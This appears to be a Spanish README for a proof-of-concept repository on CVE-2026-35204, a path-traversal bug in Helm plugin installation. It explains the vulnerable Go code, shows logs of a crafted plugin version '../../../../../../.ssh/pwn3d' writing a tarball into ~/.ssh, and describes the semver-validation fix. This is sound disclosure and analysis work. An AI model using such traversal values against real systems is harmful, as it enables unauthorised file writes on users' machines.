
Prueba de concepto que demuestra una vulnerabilidad de recorrido de ruta (CVE-2026-35204) en la instalación de plugins de Helm, que permite la escritura arbitraria de archivos mediante metadatos de plugin manipulados.
Este repositorio representa un PoC para CVE-2026-35204
"Helm es un gestor de paquetes para Charts de Kubernetes. Desde 4.0.0 a 4.1.3, un plugin de Helm especialmente diseñado, cuando se instala o actualiza, hará que Helm escriba el contenido del plugin en una ubicación arbitraria del sistema de archivos. Para evitar esto, valide que el plugin.yaml del plugin de Helm no incluya un campo version: que contenga separadores de ruta POSIX de punto-punto, es decir, "/../". Esta vulnerabilidad está corregida en 4.1.4."
Este PoC demuestra que metadata.Version se usa para construir la ruta del archivo del plugin, lo que permite el path traversal y la escritura del plugin.tgz descargado fuera del directorio de plugins previsto. El contenido del plugin todavía se extrae en el directorio de caché designado antes de instalarse, por lo que este PoC no demuestra extracción arbitraria ni sobrescritura arbitraria de archivos del host.
El instalador de plugins de Helm tiene una interfaz con cuatro implementaciones (HTTP, local, VCS y OCI). Este PoC se centra en el instalador HTTP. A diferencia de los instaladores HTTP/OCI, el instalador VCS no construye una ruta de tarball a partir de metadata.Version en absoluto. Aquí hay un bloque de código que prepara el tarballPath:
filename := fmt.Sprintf("%s-%s.tgz", metadata.Name, metadata.Version)
tarballPath := helmpath.DataPath("plugins", filename)
donde metadata.Version es la variable que controlamos en plugin.yaml. Para desencadenar la vulnerabilidad, necesitas empaquetar tu plugin manipulado en un archivo .tgz, ya que su metadata.Version es la que extrae plugin.ExtractTgzPluginMetadata y se descarga a través del instalador HTTP/OCI/local. Por lo tanto, para lograr el path traversal, podemos usar http_installer, que obtiene los plugins como un archivo servido por un servidor web.
En el siguiente ejemplo, el binario de helm se reconstruyó manualmente para habilitar los mensajes de registro, donde se pueden observar dos flujos de datos diferentes. First es la instalación del plugin con un nombre de versión correcto. Second es la instalación del plugin que tiene separadores de ruta punto-punto en su nombre de versión:
./helm plugin install http://0.0.0.0:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-2.2.2.tgz
tarballPath -> /home/s0m3body/.local/share/helm/plugins/evil-2.2.2.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-0.0.0.0-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
./helm plugin install http://127.0.0.1:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-../../../../../../.ssh/pwn3d.tgz
tarballPath -> /home/s0m3body/.ssh/pwn3d.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-127.0.0.1-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
Los trazados de ejecución demuestran que el path traversal afecta solo a la ubicación donde se coloca el archivo del plugin descargado, que es básicamente la variable de entorno HELM_PLUGINS. La caché (i.CacheDir) y la extracción final (i.Path()) permanecen sin cambios. Con esto en mente, podemos manipular el destino temporal del archivo y su nombre, lo que resulta en una escritura de archivo.
No necesitas ejecutar nada ni usar webhooks posteriores a la instalación; la simple instalación del plugin es suficiente para desencadenar la vulnerabilidad.
Durante mi análisis del instalador HTTP, observé que la extracción del archivo ocurre en i.CacheDir, mientras que la instalación (fs.CopyDir) copia los archivos de i.CacheDir a i.Path(). No encontré una ruta de código donde el tarballPath afectado por el traversal afecte al contenido del archivo. Por lo tanto, según el rastreo de ejecución analizado, el destino de extracción del archivo es independiente del tarballPath controlado por el traversal.
El aviso menciona tanto la instalación como la actualización. Para los instaladores HTTP/local/VCS, Update() no está implementado; el instalador OCI implementa la actualización invocando Install() después de eliminar el plugin anterior.
Aquí está el método Update() del instalador HTTP:
func (i *HTTPInstaller) Update() error {
return fmt.Errorf("method Update() not implemented for HttpInstaller")
}
Para mitigar la vulnerabilidad, se añadió la función isValidSemver, que ahora se llama cuando se invoca Validate() dentro de metadata.go.
"github.com/Masterminds/semver/v3"
func isValidSemver(v string) bool {
_, err := semver.NewVersion(v)
return err == nil
}
if m.Version != "" && !isValidSemver(m.Version) {
errs = append(errs, fmt.Errorf("invalid plugin version %q: must be valid semver", m.Version))
}
Como puedes ver, si la versión no es un semver válido (y ../../../../ no lo es), entonces recibiremos un error en el proceso de instalación del plugin malicioso de helm.
Para ejecutar el PoC puedes usar el script scripts/pos.sh:
./scripts/poc.sh
Lo que dará como resultado algo así:

MIT